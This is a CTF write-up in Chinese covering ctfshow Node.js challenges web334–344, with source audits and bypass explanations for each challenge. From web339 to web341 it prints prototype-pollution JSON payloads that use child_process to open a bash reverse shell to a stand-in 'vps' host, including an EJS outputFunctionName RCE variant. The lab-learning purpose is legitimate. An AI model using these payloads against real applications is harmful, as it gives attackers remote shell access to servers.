web334
下载下来是一个zip,解压
login.js
var express = require('express'); var router = express.Router(); var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); }; /* GET home page. */ router.post('/', function(req, res, next) { res.type('html'); var flag='flag_here'; var sess = req.session; var user = findUser(req.body.username, req.body.password); if(user){ req.session.regenerate(function(err) { if(err){ return res.json({ret_code: 2, ret_msg: '登录失败'}); } req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); }); }else{ res.json({ret_code: 1, ret_msg: '账号或密码错误'}); } }); module.exports = router;
user.js
module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] };
user.js已经告诉我们账户名是CTFSHOW,密码是123456
分析login.js会发现
登录成功之后会json返回flag,登录的判断条件是什么呢
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
name不等于CTFSHOW且password等于123456
因为nodejs的toUpperCase()函数是将字符串字符转换成大写的,所以我们可以输入ctfshow,转换成大写,就可以获取到flag了
web335
ctrl+u查看源代码发现
提示eval=
我们查看nodejs的eval函数的作用
测试一下
猜测形式是eval('console.log(string)')
我们使用child_process库的spawnSync方法执行命令
上网child_process的spawnSync使用方法
我们使用执行命令
web336
跟前面一样的做法
web337
var express = require('express'); var router = express.Router(); var crypto = require('crypto'); function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } }); module.exports = router;
分析一下代码,当a和b都不是null的时候,长度相等,a和b不相等,将a+flag和b+flag分别md5的时候,他们全等,输出flag,想起了php的数组绕过,res.query是获取get传参
web338
点击下载源码
审计源代码发现
routes的login.js文件中
只要使secert.ctfshow为36dboy就可以获得flag,但是这边没有能修改secert.ctfshow的办法
但是utils.copy函数的源代码是
这段代码将object1[key] = object2[key]
如果我们这边的object1的key是__proto__
object2的key是ctfshow=36dboy
因为要json形式
这个源代码的req.body是POST传参
require("boby-parser").json()是解析json格式的
也就是application/json
所以这题的答案也就是
{"__proto__":{"ctfshow","36dboy"}}
原理
__proto__修改了Object的值,是secret.ctfshow寻找参数时,原型链里面找到他的父级的prototype
bp发送json数据包
当secret的ctfshow=="36dboy"的时候,res.end(flag)
web339
login.js核心代码
/* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow===flag){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } });
发现copy函数查看他的源码
copy源码
module.exports = { copy:copy }; function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }
发现对键名和值进行了赋值
login.js的判断语句 if(secert.ctfshow===flag)
不能通过像上一题一样污染ctfshow达成条件输出flag了
看了看api.js
router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); res.render('api', { query: Function(query)(query)}); });
当post请求api的时候,会调用render这个渲染函数,我们可以通过污染query的值,Function进行执行命令
payload:
{'username':"aa","password":"bb","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"')"}}
污染了query的值,
global.process.mainModule.constructor._load('child_process') 全局引用child_process库
exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"') 调用child_process库的exec函数,去执行一个bash的反弹shell,将query的值改成这个
监听触发端口
将这串代码发送,我们已经污染了query的值接下来就剩下POST访问api触发
POST访问api
获取flag
web340
login.js
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'}); } }); module.exports = router;
app.js
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); res.render('api', { query: Function(query)(query)}); }); module.exports = router;
发现这题还是有copy看判断条件
if(user.userinfo.isAdmin)
当isAdmin为true的时候,输出flag
但是原型链是找最近的,哪怕我们通过__proto__修改isAdmin的值,因为前面声明过this.isAdmin = false;所以不生效
为什么两次__proto__看下面的代码
payload跟上一题339差不多,只不过是需要两次__proto__才能修改Object的prototype
payload源码
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"')"}}}
web341
跟上面一题一样的代码
没有app.js
不过我们可以ejs-rce
{"username":"aa","password":"bb","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}
web342-343
以后研究下jade的rce
web 344
router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('where is flag. :)'); } });
,用&代替
{"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
把ctfshow的c编码因为"的ascii加c就是2c触发了正则